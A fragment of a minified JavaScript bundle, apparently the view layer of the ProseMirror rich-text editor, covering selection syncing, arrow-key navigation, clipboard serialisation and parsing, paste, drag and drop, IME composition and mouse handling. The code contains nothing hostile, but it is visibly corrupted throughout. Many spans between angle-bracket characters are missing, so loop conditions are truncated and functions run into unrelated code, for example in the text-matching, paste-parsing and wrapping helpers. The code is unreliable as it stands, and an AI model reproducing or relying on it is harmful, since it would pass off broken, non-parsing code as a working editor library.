this.spec.ignoreMutation?this.spec.ignoreMutation(e):super.ignoreMutation(e)}}function TP(s,e,t){let n=s.firstChild,i=!1;for(let r=0;r>1,a=Math.min(o,e.length);for(;r-1)c>this.index&&(this.changed=!0,this.destroyBetween(this.index,c)),this.top=this.top.children[this.index];else{let u=Mf.create(this.top,e[o],t,n);this.top.children.splice(this.index,0,u),this.top=u,this.changed=!0}this.index=0,o++}}findNodeMatch(e,t,n,i){let r=-1,o;if(i>=this.preMatch.index&&(o=this.preMatch.matches[i-this.preMatch.index]).parent==this.top&&o.matchesNode(e,t,n))r=this.top.children.indexOf(o,this.index);else for(let a=this.index,c=Math.min(this.top.children.length,a+5);a0;){let a;for(;;)if(n){let l=t.children[n-1];if(l instanceof Mf)t=l,n=l.children.length;else{a=l,n--;break}}else{if(t==e)break e;n=t.parent.children.indexOf(t),t=t.parent}let c=a.node;if(c){if(c!=s.child(i-1))break;--i,r.set(a,i),o.push(a)}}return{index:i,matched:r,matches:o.reverse()}}function iV(s,e){return s.type.side-e.type.side}function rV(s,e,t,n){let i=e.locals(s),r=0;if(i.length==0){for(let l=0;lr;)a.push(i[o++]);let m=r+d.nodeSize;if(d.isText){let g=m;o!g.inline):a.slice();n(d,v,e.forChild(r,d),p),r=m}}function oV(s){if(s.nodeName=="UL"||s.nodeName=="OL"){let e=s.style.cssText;s.style.cssText=e+"; list-style: square !important",window.getComputedStyle(s).listStyle,s.style.cssText=e}}function aV(s,e,t,n){for(let i=0,r=0;i=t){if(r>=n&&c.slice(n-e.length-a,n-a)==e)return n-e.length;let l=a=0&&l+e.length+a>=t)return a+l;if(t==n&&c.length>=n+e.length-a&&c.slice(n-a,n-a+e.length)==e)return n}}return-1}function W1(s,e,t,n,i){let r=[];for(let o=0,a=0;o=t||u<=e?r.push(c):(lt&&r.push(c.slice(t-l,c.size,n)))}return r}function EE(s,e=null){let t=s.domSelectionRange(),n=s.state.doc;if(!t.focusNode)return null;let i=s.docView.nearestDesc(t.focusNode),r=i&&i.size==0,o=s.docView.posFromDOM(t.focusNode,t.focusOffset,1);if(o<0)return null;let a=n.resolve(o),c,l;if(Z0(t)){for(c=o;i&&!i.node;)i=i.parent;let h=i.node;if(i&&h.isAtom&&vt.isSelectable(h)&&i.parent&&!(h.isInline&&O7(t.focusNode,t.focusOffset,i.dom))){let d=i.posBefore;l=new vt(o==d?a:n.resolve(d))}}else{if(t instanceof s.dom.ownerDocument.defaultView.Selection&&t.rangeCount>1){let h=o,d=o;for(let p=0;p{(t.anchorNode!=n||t.anchorOffset!=i)&&(e.removeEventListener("selectionchange",s.input.hideSelectionGuard),setTimeout(()=>{(!MP(s)||s.state.selection.visible)&&s.dom.classList.remove("ProseMirror-hideselection")},20))})}function cV(s){let e=s.domSelection();if(!e)return;let t=s.cursorWrapper.dom,n=t.nodeName=="IMG";n?e.collapse(t.parentNode,fi(t)+1):e.collapse(t,0),!n&&!s.state.selection.visible&&yr&&nh<=11&&(t.disabled=!0,t.disabled=!1)}function xP(s,e){if(e instanceof vt){let t=s.docView.descAt(e.from);t!=s.lastSelectedViewDesc&&(Bx(s),t&&t.selectNode(),s.lastSelectedViewDesc=t)}else Bx(s)}function Bx(s){s.lastSelectedViewDesc&&(s.lastSelectedViewDesc.parent&&s.lastSelectedViewDesc.deselectNode(),s.lastSelectedViewDesc=void 0)}function ME(s,e,t,n){return s.someProp("createSelectionBetween",i=>i(s,e,t))||_t.between(e,t,n)}function Fx(s){return s.editable&&!s.hasFocus()?!1:IP(s)}function IP(s){let e=s.domSelectionRange();if(!e.anchorNode)return!1;try{return s.dom.contains(e.anchorNode.nodeType==3?e.anchorNode.parentNode:e.anchorNode)&&(s.editable||s.dom.contains(e.focusNode.nodeType==3?e.focusNode.parentNode:e.focusNode))}catch{return!1}}function uV(s){let e=s.docView.domFromPos(s.state.selection.anchor,0),t=s.domSelectionRange();return Ef(e.node,e.offset,t.anchorNode,t.anchorOffset)}function z1(s,e){let{$anchor:t,$head:n}=s.selection,i=e>0?t.max(n):t.min(n),r=i.parent.inlineContent?i.depth?s.doc.resolve(e>0?i.after():i.before()):null:i;return r&&Ft.findFrom(r,e)}function Qc(s,e){return s.dispatch(s.state.tr.setSelection(e).scrollIntoView()),!0}function $x(s,e,t){let n=s.state.selection;if(n instanceof _t)if(t.indexOf("s")>-1){let{$head:i}=n,r=i.textOffset?null:e<0?i.nodeBefore:i.nodeAfter;if(!r||r.isText||!r.isLeaf)return!1;let o=s.state.doc.resolve(i.pos+r.nodeSize*(e<0?-1:1));return Qc(s,new _t(n.$anchor,o))}else if(n.empty){if(s.endOfTextblock(e>0?"forward":"backward")){let i=z1(s.state,e);return i&&i instanceof vt?Qc(s,i):!1}else if(!(Mo&&t.indexOf("m")>-1)){let i=n.$head,r=i.textOffset?null:e<0?i.nodeBefore:i.nodeAfter,o;if(!r||r.isText)return!1;let a=e<0?i.pos-r.nodeSize:i.pos;return r.isAtom||(o=s.docView.descAt(a))&&!o.contentDOM?vt.isSelectable(r)?Qc(s,new vt(e<0?s.state.doc.resolve(i.pos-r.nodeSize):i)):e_?Qc(s,new _t(s.state.doc.resolve(e<0?a:a+r.nodeSize))):!1:!1}}else return!1;else{if(n instanceof vt&&n.node.isInline)return Qc(s,new _t(e>0?n.$to:n.$from));{let i=z1(s.state,e);return i?Qc(s,i):!1}}}function Tw(s){return s.nodeType==3?s.nodeValue.length:s.childNodes.length}function xv(s,e){let t=s.pmViewDesc;return t&&t.size==0&&(e<0||s.nextSibling||s.nodeName!="BR")}function Qf(s,e){return e<0?hV(s):dV(s)}function hV(s){let e=s.domSelectionRange(),t=e.focusNode,n=e.focusOffset;if(!t)return;let i,r,o=!1;for(Po&&t.nodeType==1&&n0){if(t.nodeType!=1)break;{let a=t.childNodes[n-1];if(xv(a,-1))i=t,r=--n;else if(a.nodeType==3)t=a,n=t.nodeValue.length;else break}}else{if(RP(t))break;{let a=t.previousSibling;for(;a&&xv(a,-1);)i=t.parentNode,r=fi(a),a=a.previousSibling;if(a)t=a,n=Tw(t);else{if(t=t.parentNode,t==s.dom)break;n=0}}}o?j1(s,t,n):i&&j1(s,i,r)}function dV(s){let e=s.domSelectionRange(),t=e.focusNode,n=e.focusOffset;if(!t)return;let i=Tw(t),r,o;for(;;)if(n{s.state==i&&Sc(s)},50)}function Hx(s,e){let t=s.state.doc.resolve(e);if(!(vi||mP)&&t.parent.inlineContent){let i=s.coordsAtPos(e);if(e>t.start()){let r=s.coordsAtPos(e-1),o=(r.top+r.bottom)/2;if(o>i.top&&o1)return r.lefti.top&&o1)return r.left>i.left?"ltr":"rtl"}}return getComputedStyle(s.dom).direction=="rtl"?"rtl":"ltr"}function Ux(s,e,t){let n=s.state.selection;if(n instanceof _t&&!n.empty||t.indexOf("s")>-1||Mo&&t.indexOf("m")>-1)return!1;let{$from:i,$to:r}=n;if(!i.parent.inlineContent||s.endOfTextblock(e<0?"up":"down")){let o=z1(s.state,e);if(o&&o instanceof vt)return Qc(s,o)}if(!i.parent.inlineContent){let o=e<0?i:r,a=n instanceof _c?Ft.near(o,e):Ft.findFrom(o,e);return a?Qc(s,a):!1}return!1}function Wx(s,e){if(!(s.state.selection instanceof _t))return!0;let{$head:t,$anchor:n,empty:i}=s.state.selection;if(!t.sameParent(n))return!0;if(!i)return!1;if(s.endOfTextblock(e>0?"forward":"backward"))return!0;let r=!t.textOffset&&(e<0?t.nodeBefore:t.nodeAfter);if(r&&!r.isText){let o=s.state.tr;return e<0?o.delete(t.pos-r.nodeSize,t.pos):o.delete(t.pos,t.pos+r.nodeSize),s.dispatch(o),!0}return!1}function zx(s,e,t){s.domObserver.stop(),e.contentEditable=t,s.domObserver.start()}function gV(s){if(!Li||s.state.selection.$head.parentOffset>0)return!1;let{focusNode:e,focusOffset:t}=s.domSelectionRange();if(e&&e.nodeType==1&&t==0&&e.firstChild&&e.firstChild.contentEditable=="false"){let n=e.firstChild;zx(s,n,"true"),setTimeout(()=>zx(s,n,"false"),20)}return!1}function mV(s){let e="";return s.ctrlKey&&(e+="c"),s.metaKey&&(e+="m"),s.altKey&&(e+="a"),s.shiftKey&&(e+="s"),e}function vV(s,e){let t=e.keyCode,n=mV(e);if(t==8||Mo&&t==72&&n=="c")return Wx(s,-1)||Qf(s,-1);if(t==46&&!e.shiftKey||Mo&&t==68&&n=="c")return Wx(s,1)||Qf(s,1);if(t==13||t==27)return!0;if(t==37||Mo&&t==66&&n=="c"){let i=t==37?Hx(s,s.state.selection.from)=="ltr"?-1:1:-1;return $x(s,i,n)||Qf(s,i)}else if(t==39||Mo&&t==70&&n=="c"){let i=t==39?Hx(s,s.state.selection.from)=="ltr"?1:-1:1;return $x(s,i,n)||Qf(s,i)}else{if(t==38||Mo&&t==80&&n=="c")return Ux(s,-1,n)||Qf(s,-1);if(t==40||Mo&&t==78&&n=="c")return gV(s)||Ux(s,1,n)||Qf(s,1);if(n==(Mo?"m":"c")&&(t==66||t==73||t==89||t==90))return!0}return!1}function xE(s,e){s.someProp("transformCopied",p=>{e=p(e,s)});let t=[],{content:n,openStart:i,openEnd:r}=e;for(;i>1&&r>1&&n.childCount==1&&n.firstChild.childCount==1;){i--,r--;let p=n.firstChild;t.push(p.type.name,p.attrs!=p.type.defaultAttrs?p.attrs:null),n=p.content}let o=s.someProp("clipboardSerializer")||Of.fromSchema(s.state.schema),a=BP(),c=a.createElement("div");c.appendChild(o.serializeFragment(n,{document:a}));let l=c.firstChild,u,h=0;for(;l&&l.nodeType==1&&(u=NP[l.nodeName.toLowerCase()]);){for(let p=u.length-1;p>=0;p--){let m=a.createElement(u[p]);for(;c.firstChild;)m.appendChild(c.firstChild);c.appendChild(m),h++}l=c.firstChild}l&&l.nodeType==1&&l.setAttribute("data-pm-slice",`${i} ${r}${h?` -${h}`:""} ${JSON.stringify(t)}`);let d=s.someProp("clipboardTextSerializer",p=>p(e,s))||e.content.textBetween(0,e.content.size,` + +`);return{dom:c,text:d,slice:e}}function LP(s,e,t,n,i){let r=i.parent.type.spec.code,o,a;if(!t&&!e)return null;let c=!!e&&(n||r||!t);if(c){if(s.someProp("transformPastedText",d=>{e=d(e,r||n,s)}),r)return a=new nt(Fe.from(s.state.schema.text(e.replace(/\r\n?/g,` +`))),0,0),s.someProp("transformPasted",d=>{a=d(a,s,!0)}),a;let h=s.someProp("clipboardTextParser",d=>d(e,i,n,s));if(h)a=h;else{let d=i.marks(),{schema:p}=s.state,m=Of.fromSchema(p);o=document.createElement("div"),e.split(/(?:\r\n?|\n)+/).forEach(v=>{let g=o.appendChild(document.createElement("p"));v&&g.appendChild(m.serializeNode(p.text(v,d)))})}}else s.someProp("transformPastedHTML",h=>{t=h(t,s)}),o=SV(t),e_&&wV(o);let l=o&&o.querySelector("[data-pm-slice]"),u=l&&/^(\d+) (\d+)(?: -(\d+))? (.*)/.exec(l.getAttribute("data-pm-slice")||"");if(u&&u[3])for(let h=+u[3];h>0;h--){let d=o.firstChild;for(;d&&d.nodeType!=1;)d=d.nextSibling;if(!d)break;o=d}if(a||(a=(s.someProp("clipboardParser")||s.someProp("domParser")||Av.fromSchema(s.state.schema)).parseSlice(o,{preserveWhitespace:!!(c||u),context:i,ruleFromNode(d){return d.nodeName=="BR"&&!d.nextSibling&&d.parentNode&&!yV.test(d.parentNode.nodeName)?{ignore:!0}:null}})),u)a=kV(jx(a,+u[1],+u[2]),u[4]);else if(a=nt.maxOpen(bV(a.content,i),!0),a.openStart||a.openEnd){let h=0,d=0;for(let p=a.content.firstChild;h{a=h(a,s,c)}),a}const yV=/^(a|abbr|acronym|b|cite|code|del|em|i|ins|kbd|label|output|q|ruby|s|samp|span|strong|sub|sup|time|u|tt|var)$/i;function bV(s,e){if(s.childCount<2)return s;for(let t=e.depth;t>=0;t--){let i=e.node(t).contentMatchAt(e.index(t)),r,o=[];if(s.forEach(a=>{if(!o)return;let c=i.findWrapping(a.type),l;if(!c)return o=null;if(l=o.length&&r.length&&OP(c,r,a,o[o.length-1],0))o[o.length-1]=l;else{o.length&&(o[o.length-1]=DP(o[o.length-1],r.length));let u=PP(a,c);o.push(u),i=i.matchType(u.type),r=c}}),o)return Fe.from(o)}return s}function PP(s,e,t=0){for(let n=e.length-1;n>=t;n--)s=e[n].create(null,Fe.from(s));return s}function OP(s,e,t,n,i){if(i1&&(r=0),i=t&&(a=e<0?o.contentMatchAt(0).fillBefore(a,r<=i).append(a):a.append(o.contentMatchAt(o.childCount).fillBefore(Fe.empty,!0))),s.replaceChild(e<0?0:s.childCount-1,o.copy(a))}function jx(s,e,t){return et})),gC.createHTML(s)):s}function SV(s){let e=/^(\s*]*>)*/.exec(s);e&&(s=s.slice(e[0].length));let t=BP().createElement("div"),n=/<([a-z][^>\s]+)/i.exec(s),i;if((i=n&&NP[n[1].toLowerCase()])&&(s=i.map(r=>"<"+r+">").join("")+s+i.map(r=>"").reverse().join("")),t.innerHTML=_V(s),i)for(let r=0;r=0;a-=2){let c=t.nodes[n[a]];if(!c||c.hasRequiredAttrs())break;i=Fe.from(c.create(n[a+1],i)),r++,o++}return new nt(i,r,o)}const er={},tr={},CV={touchstart:!0,touchmove:!0};class TV{constructor(){this.shiftKey=!1,this.mouseDown=null,this.lastKeyCode=null,this.lastKeyCodeTime=0,this.lastClick={time:0,x:0,y:0,type:"",button:0},this.lastSelectionOrigin=null,this.lastSelectionTime=0,this.lastIOSEnter=0,this.lastIOSEnterFallbackTimeout=-1,this.lastFocus=0,this.lastTouch=0,this.lastChromeDelete=0,this.composing=!1,this.compositionNode=null,this.composingTimeout=-1,this.compositionNodes=[],this.compositionEndedAt=-2e8,this.compositionID=1,this.badSafariComposition=!1,this.compositionPendingChanges=0,this.domChangeCount=0,this.eventHandlers=Object.create(null),this.hideSelectionGuard=null}}function AV(s){for(let e in er){let t=er[e];s.dom.addEventListener(e,s.input.eventHandlers[e]=n=>{MV(s,n)&&!IE(s,n)&&(s.editable||!(n.type in tr))&&t(s,n)},CV[e]?{passive:!0}:void 0)}Li&&s.dom.addEventListener("input",()=>null),G1(s)}function th(s,e){s.input.lastSelectionOrigin=e,s.input.lastSelectionTime=Date.now()}function EV(s){s.domObserver.stop();for(let e in s.input.eventHandlers)s.dom.removeEventListener(e,s.input.eventHandlers[e]);clearTimeout(s.input.composingTimeout),clearTimeout(s.input.lastIOSEnterFallbackTimeout)}function G1(s){s.someProp("handleDOMEvents",e=>{for(let t in e)s.input.eventHandlers[t]||s.dom.addEventListener(t,s.input.eventHandlers[t]=n=>IE(s,n))})}function IE(s,e){return s.someProp("handleDOMEvents",t=>{let n=t[e.type];return n?n(s,e)||e.defaultPrevented:!1})}function MV(s,e){if(!e.bubbles)return!0;if(e.defaultPrevented)return!1;for(let t=e.target;t!=s.dom;t=t.parentNode)if(!t||t.nodeType==11||t.pmViewDesc&&t.pmViewDesc.stopEvent(e))return!1;return!0}function xV(s,e){!IE(s,e)&&er[e.type]&&(s.editable||!(e.type in tr))&&er[e.type](s,e)}tr.keydown=(s,e)=>{let t=e;if(s.input.shiftKey=t.keyCode==16||t.shiftKey,!$P(s,t)&&(s.input.lastKeyCode=t.keyCode,s.input.lastKeyCodeTime=Date.now(),!(pc&&vi&&t.keyCode==13)))if(t.keyCode!=229&&s.domObserver.forceFlush(),tm&&t.keyCode==13&&!t.ctrlKey&&!t.altKey&&!t.metaKey){let n=Date.now();s.input.lastIOSEnter=n,s.input.lastIOSEnterFallbackTimeout=setTimeout(()=>{s.input.lastIOSEnter==n&&(s.someProp("handleKeyDown",i=>i(s,Ih(13,"Enter"))),s.input.lastIOSEnter=0)},200)}else s.someProp("handleKeyDown",n=>n(s,t))||vV(s,t)?t.preventDefault():th(s,"key")};tr.keyup=(s,e)=>{e.keyCode==16&&(s.input.shiftKey=!1)};tr.keypress=(s,e)=>{let t=e;if($P(s,t)||!t.charCode||t.ctrlKey&&!t.altKey||Mo&&t.metaKey)return;if(s.someProp("handleKeyPress",i=>i(s,t))){t.preventDefault();return}let n=s.state.selection;if(!(n instanceof _t)||!n.$from.sameParent(n.$to)){let i=String.fromCharCode(t.charCode),r=()=>s.state.tr.insertText(i).scrollIntoView();!/[\r\n]/.test(i)&&!s.someProp("handleTextInput",o=>o(s,n.$from.pos,n.$to.pos,i,r))&&s.dispatch(r()),t.preventDefault()}};function tk(s){return{left:s.clientX,top:s.clientY}}function IV(s,e){let t=e.x-s.clientX,n=e.y-s.clientY;return t*t+n*n<100}function RE(s,e,t,n,i){if(n==-1)return!1;let r=s.state.doc.resolve(n);for(let o=r.depth+1;o>0;o--)if(s.someProp(e,a=>o>r.depth?a(s,t,r.nodeAfter,r.before(o),i,!0):a(s,t,r.node(o),r.before(o),i,!1)))return!0;return!1}function wp(s,e,t){if(s.focused||s.focus(),s.state.selection.eq(e))return;let n=s.state.tr.setSelection(e);n.setMeta("pointer",!0),s.dispatch(n)}function RV(s,e){if(e==-1)return!1;let t=s.state.doc.resolve(e),n=t.nodeAfter;return n&&n.isAtom&&vt.isSelectable(n)?(wp(s,new vt(t)),!0):!1}function LV(s,e){if(e==-1)return!1;let t=s.state.selection,n,i;t instanceof vt&&(n=t.node);let r=s.state.doc.resolve(e);for(let o=r.depth+1;o>0;o--){let a=o>r.depth?r.nodeAfter:r.node(o);if(vt.isSelectable(a)){n&&t.$from.depth>0&&o>=t.$from.depth&&r.before(t.$from.depth+1)==t.$from.pos?i=r.before(t.$from.depth):i=r.before(o);break}}return i!=null?(wp(s,vt.create(s.state.doc,i)),!0):!1}function PV(s,e,t,n,i){return RE(s,"handleClickOn",e,t,n)||s.someProp("handleClick",r=>r(s,e,n))||(i?LV(s,t):RV(s,t))}function OV(s,e,t,n){return RE(s,"handleDoubleClickOn",e,t,n)||s.someProp("handleDoubleClick",i=>i(s,e,n))}function DV(s,e,t,n){return RE(s,"handleTripleClickOn",e,t,n)||s.someProp("handleTripleClick",i=>i(s,e,n))||NV(s,t,n)}function NV(s,e,t){if(t.button!=0)return!1;let n=s.state.doc;if(e==-1)return n.inlineContent?(wp(s,_t.create(n,0,n.content.size)),!0):!1;let i=n.resolve(e);for(let r=i.depth+1;r>0;r--){let o=r>i.depth?i.nodeAfter:i.node(r),a=i.before(r);if(o.inlineContent)wp(s,_t.create(n,a+1,a+1+o.content.size));else if(vt.isSelectable(o))wp(s,vt.create(n,a));else continue;return!0}}function LE(s){return Aw(s)}const FP=Mo?"metaKey":"ctrlKey";er.mousedown=(s,e)=>{let t=e;s.input.shiftKey=t.shiftKey;let n=LE(s),i=Date.now(),r="singleClick";i-s.input.lastClick.time<500&&IV(t,s.input.lastClick)&&!t[FP]&&s.input.lastClick.button==t.button&&(s.input.lastClick.type=="singleClick"?r="doubleClick":s.input.lastClick.type=="doubleClick"&&(r="tripleClick")),s.input.lastClick={time:i,x:t.clientX,y:t.clientY,type:r,button:t.button};let o=s.posAtCoords(tk(t));o&&(r=="singleClick"?(s.input.mouseDown&&s.input.mouseDown.done(),s.input.mouseDown=new BV(s,o,t,!!n)):(r=="doubleClick"?OV:DV)(s,o.pos,o.inside,t)?t.preventDefault():th(s,"pointer"))};class BV{constructor(e,t,n,i){this.view=e,this.pos=t,this.event=n,this.flushed=i,this.delayedSelectionSync=!1,this.mightDrag=null,this.startDoc=e.state.doc,this.selectNode=!!n[FP],this.allowDefault=n.shiftKey;let r,o;if(t.inside>-1)r=e.state.doc.nodeAt(t.inside),o=t.inside;else{let u=e.state.doc.resolve(t.pos);r=u.parent,o=u.depth?u.before():0}const a=i?null:n.target,c=a?e.docView.nearestDesc(a,!0):null;this.target=c&&c.nodeDOM.nodeType==1?c.nodeDOM:null;let{selection:l}=e.state;n.button==0&&(r.type.spec.draggable&&r.type.spec.selectable!==!1||l instanceof vt&&l.from<=o&&l.to>o)&&(this.mightDrag={node:r,pos:o,addAttr:!!(this.target&&!this.target.draggable),setUneditable:!!(this.target&&Po&&!this.target.hasAttribute("contentEditable"))}),this.target&&this.mightDrag&&(this.mightDrag.addAttr||this.mightDrag.setUneditable)&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&(this.target.draggable=!0),this.mightDrag.setUneditable&&setTimeout(()=>{this.view.input.mouseDown==this&&this.target.setAttribute("contentEditable","false")},20),this.view.domObserver.start()),e.root.addEventListener("mouseup",this.up=this.up.bind(this)),e.root.addEventListener("mousemove",this.move=this.move.bind(this)),th(e,"pointer")}done(){this.view.root.removeEventListener("mouseup",this.up),this.view.root.removeEventListener("mousemove",this.move),this.mightDrag&&this.target&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&this.target.removeAttribute("draggable"),this.mightDrag.setUneditable&&this.target.removeAttribute("contentEditable"),this.view.domObserver.start()),this.delayedSelectionSync&&setTimeout(()=>Sc(this.view)),this.view.input.mouseDown=null}up(e){if(this.done(),!this.view.dom.contains(e.target))return;let t=this.pos;this.view.state.doc!=this.startDoc&&(t=this.view.posAtCoords(tk(e))),this.updateAllowDefault(e),this.allowDefault||!t?th(this.view,"pointer"):PV(this.view,t.pos,t.inside,e,this.selectNode)?e.preventDefault():e.button==0&&(this.flushed||Li&&this.mightDrag&&!this.mightDrag.node.isAtom||vi&&!this.view.state.selection.visible&&Math.min(Math.abs(t.pos-this.view.state.selection.from),Math.abs(t.pos-this.view.state.selection.to))<=2)?(wp(this.view,Ft.near(this.view.state.doc.resolve(t.pos))),e.preventDefault()):th(this.view,"pointer")}move(e){this.updateAllowDefault(e),th(this.view,"pointer"),e.buttons==0&&this.done()}updateAllowDefault(e){!this.allowDefault&&(Math.abs(this.event.x-e.clientX)>4||Math.abs(this.event.y-e.clientY)>4)&&(this.allowDefault=!0)}}er.touchstart=s=>{s.input.lastTouch=Date.now(),LE(s),th(s,"pointer")};er.touchmove=s=>{s.input.lastTouch=Date.now(),th(s,"pointer")};er.contextmenu=s=>LE(s);function $P(s,e){return s.composing?!0:Li&&Math.abs(e.timeStamp-s.input.compositionEndedAt)<500?(s.input.compositionEndedAt=-2e8,!0):!1}const FV=pc?5e3:-1;tr.compositionstart=tr.compositionupdate=s=>{if(!s.composing){s.domObserver.flush();let{state:e}=s,t=e.selection.$to;if(e.selection instanceof _t&&(e.storedMarks||!t.textOffset&&t.parentOffset&&t.nodeBefore.marks.some(n=>n.type.spec.inclusive===!1)||vi&&mP&&$V(s)))s.markCursor=s.state.storedMarks||t.marks(),Aw(s,!0),s.markCursor=null;else if(Aw(s,!e.selection.empty),Po&&e.selection.empty&&t.parentOffset&&!t.textOffset&&t.nodeBefore.marks.length){let n=s.domSelectionRange();for(let i=n.focusNode,r=n.focusOffset;i&&i.nodeType==1&&r!=0;){let o=r<0?i.lastChild:i.childNodes[r-1];if(!o)break;if(o.nodeType==3){let a=s.domSelection();a&&a.collapse(o,o.nodeValue.length);break}else i=o,r=-1}}s.input.composing=!0}HP(s,FV)};function $V(s){let{focusNode:e,focusOffset:t}=s.domSelectionRange();if(!e||e.nodeType!=1||t>=e.childNodes.length)return!1;let n=e.childNodes[t];return n.nodeType==1&&n.contentEditable=="false"}tr.compositionend=(s,e)=>{s.composing&&(s.input.composing=!1,s.input.compositionEndedAt=e.timeStamp,s.input.compositionPendingChanges=s.domObserver.pendingRecords().length?s.input.compositionID:0,s.input.compositionNode=null,s.input.badSafariComposition?s.domObserver.forceFlush():s.input.compositionPendingChanges&&Promise.resolve().then(()=>s.domObserver.flush()),s.input.compositionID++,HP(s,20))};function HP(s,e){clearTimeout(s.input.composingTimeout),e>-1&&(s.input.composingTimeout=setTimeout(()=>Aw(s),e))}function UP(s){for(s.composing&&(s.input.composing=!1,s.input.compositionEndedAt=UV());s.input.compositionNodes.length>0;)s.input.compositionNodes.pop().markParentsDirty()}function HV(s){let e=s.domSelectionRange();if(!e.focusNode)return null;let t=L7(e.focusNode,e.focusOffset),n=P7(e.focusNode,e.focusOffset);if(t&&n&&t!=n){let i=n.pmViewDesc,r=s.domObserver.lastChangedTextNode;if(t==r||n==r)return r;if(!i||!i.isText(n.nodeValue))return n;if(s.input.compositionNode==n){let o=t.pmViewDesc;if(!(!o||!o.isText(t.nodeValue)))return n}}return t||n}function UV(){let s=document.createEvent("Event");return s.initEvent("event",!0,!0),s.timeStamp}function Aw(s,e=!1){if(!(pc&&s.domObserver.flushingSoon>=0)){if(s.domObserver.forceFlush(),UP(s),e||s.docView&&s.docView.dirty){let t=EE(s),n=s.state.selection;return t&&!t.eq(n)?s.dispatch(s.state.tr.setSelection(t)):(s.markCursor||e)&&!n.$from.node(n.$from.sharedDepth(n.to)).inlineContent?s.dispatch(s.state.tr.deleteSelection()):s.updateState(s.state),!0}return!1}}function WV(s,e){if(!s.dom.parentNode)return;let t=s.dom.parentNode.appendChild(document.createElement("div"));t.appendChild(e),t.style.cssText="position: fixed; left: -10000px; top: 10px";let n=getSelection(),i=document.createRange();i.selectNodeContents(e),s.dom.blur(),n.removeAllRanges(),n.addRange(i),setTimeout(()=>{t.parentNode&&t.parentNode.removeChild(t),s.focus()},50)}const Xv=yr&&nh<15||tm&&B7<604;er.copy=tr.cut=(s,e)=>{let t=e,n=s.state.selection,i=t.type=="cut";if(n.empty)return;let r=Xv?null:t.clipboardData,o=n.content(),{dom:a,text:c}=xE(s,o);r?(t.preventDefault(),r.clearData(),r.setData("text/html",a.innerHTML),r.setData("text/plain",c)):WV(s,a),i&&s.dispatch(s.state.tr.deleteSelection().scrollIntoView().setMeta("uiEvent","cut"))};function zV(s){return s.openStart==0&&s.openEnd==0&&s.content.childCount==1?s.content.firstChild:null}function jV(s,e){if(!s.dom.parentNode)return;let t=s.input.shiftKey||s.state.selection.$from.parent.type.spec.code,n=s.dom.parentNode.appendChild(document.createElement(t?"textarea":"div"));t||(n.contentEditable="true"),n.style.cssText="position: fixed; left: -10000px; top: 10px",n.focus();let i=s.input.shiftKey&&s.input.lastKeyCode!=45;setTimeout(()=>{s.focus(),n.parentNode&&n.parentNode.removeChild(n),t?Yv(s,n.value,null,i,e):Yv(s,n.textContent,n.innerHTML,i,e)},50)}function Yv(s,e,t,n,i){let r=LP(s,e,t,n,s.state.selection.$from);if(s.someProp("handlePaste",c=>c(s,i,r||nt.empty)))return!0;if(!r)return!1;let o=zV(r),a=o?s.state.tr.replaceSelectionWith(o,n):s.state.tr.replaceSelection(r);return s.dispatch(a.scrollIntoView().setMeta("paste",!0).setMeta("uiEvent","paste")),!0}function WP(s){let e=s.getData("text/plain")||s.getData("Text");if(e)return e;let t=s.getData("text/uri-list");return t?t.replace(/\r?\n/g," "):""}tr.paste=(s,e)=>{let t=e;if(s.composing&&!pc)return;let n=Xv?null:t.clipboardData,i=s.input.shiftKey&&s.input.lastKeyCode!=45;n&&Yv(s,WP(n),n.getData("text/html"),i,t)?t.preventDefault():jV(s,t)};class zP{constructor(e,t,n){this.slice=e,this.move=t,this.node=n}}const VV=Mo?"altKey":"ctrlKey";function jP(s,e){let t;return s.someProp("dragCopies",n=>{t=t||n(e)}),t!=null?!t:!e[VV]}er.dragstart=(s,e)=>{let t=e,n=s.input.mouseDown;if(n&&n.done(),!t.dataTransfer)return;let i=s.state.selection,r=i.empty?null:s.posAtCoords(tk(t)),o;if(!(r&&r.pos>=i.from&&r.pos<=(i instanceof vt?i.to-1:i.to))){if(n&&n.mightDrag)o=vt.create(s.state.doc,n.mightDrag.pos);else if(t.target&&t.target.nodeType==1){let h=s.docView.nearestDesc(t.target,!0);h&&h.node.type.spec.draggable&&h!=s.docView&&(o=vt.create(s.state.doc,h.posBefore))}}let a=(o||s.state.selection).content(),{dom:c,text:l,slice:u}=xE(s,a);(!t.dataTransfer.files.length||!vi||gP>120)&&t.dataTransfer.clearData(),t.dataTransfer.setData(Xv?"Text":"text/html",c.innerHTML),t.dataTransfer.effectAllowed="copyMove",Xv||t.dataTransfer.setData("text/plain",l),s.dragging=new zP(u,jP(s,t),o)};er.dragend=s=>{let e=s.dragging;window.setTimeout(()=>{s.dragging==e&&(s.dragging=null)},50)};tr.dragover=tr.dragenter=(s,e)=>e.preventDefault();tr.drop=(s,e)=>{try{GV(s,e,s.dragging)}finally{s.dragging=null}};function GV(s,e,t){if(!e.dataTransfer)return;let n=s.posAtCoords(tk(e));if(!n)return;let i=s.state.doc.resolve(n.pos),r=t&&t.slice;r?s.someProp("transformPasted",p=>{r=p(r,s,!1)}):r=LP(s,WP(e.dataTransfer),Xv?null:e.dataTransfer.getData("text/html"),!1,i);let o=!!(t&&jP(s,e));if(s.someProp("handleDrop",p=>p(s,e,r||nt.empty,o))){e.preventDefault();return}if(!r)return;e.preventDefault();let a=r?WL(s.state.doc,i.pos,r):i.pos;a==null&&(a=i.pos);let c=s.state.tr;if(o){let{node:p}=t;p?p.replace(c):c.deleteSelection()}let l=c.mapping.map(a),u=r.openStart==0&&r.openEnd==0&&r.content.childCount==1,h=c.doc;if(u?c.replaceRangeWith(l,l,r.content.firstChild):c.replaceRange(l,l,r),c.doc.eq(h))return;let d=c.doc.resolve(l);if(u&&vt.isSelectable(r.content.firstChild)&&d.nodeAfter&&d.nodeAfter.sameMarkup(r.content.firstChild))c.setSelection(new vt(d));else{let p=c.mapping.map(a);c.mapping.maps[c.mapping.maps.length-1].forEach((m,v,g,y)=>p=y),c.setSelection(ME(s,d,c.doc.resolve(p)))}s.focus(),s.dispatch(c.setMeta("uiEvent","drop"))}er.focus=s=>{s.input.lastFocus=Date.now(),s.focused||(s.domObserver.stop(),s.dom.classList.add("ProseMirror-focused"),s.domObserver.start(),s.focused=!0,setTimeout(()=>{s.docView&&s.hasFocus()&&!s.domObserver.currentSelection.eq(s.domSelectionRange())&&Sc(s)},20))};er.blur=(s,e)=>{let 